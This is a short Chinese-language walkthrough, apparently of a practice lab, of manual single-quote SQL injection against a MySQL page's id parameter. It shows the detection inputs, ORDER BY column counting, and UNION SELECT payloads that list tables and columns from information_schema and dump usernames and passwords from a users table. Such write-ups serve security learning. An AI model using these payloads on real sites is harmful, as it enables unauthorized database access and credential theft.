从上边的页面提示中可以看出,ID是其参数
1.判断漏洞
- 首先根据题目就可以知道这是一个单引号字符型注入漏洞
- 其次我们可以进行手工判断,输入
id=1 and 1=2
发现页面显示正常,说明肯定不是数字型,输入id=1'
发现页面错误,但是有一个提示limit 0,1'
说明后边的单引号没有闭合造成了错误,这就可以说明这是一个单引号引起的漏洞。输入id=1'--+
页面正常。
2.漏洞利用
漏洞利用的思路和常规的MySQL一样,为了练习,这里使用手工注入。
- 判断字段数
id=1' order by 3--+
页面显示正常,id=1' order by 4--+
页面显示错误,说明字段数为3
。 - 爆数字
id=-1' union select 1,2,3--+
页面爆出数字2
3
- 爆表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
- 爆列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 爆数据
id=-1' union select 1,username,password from users limit 1,1--+
通过limit m,1
来实现全部数据的查询。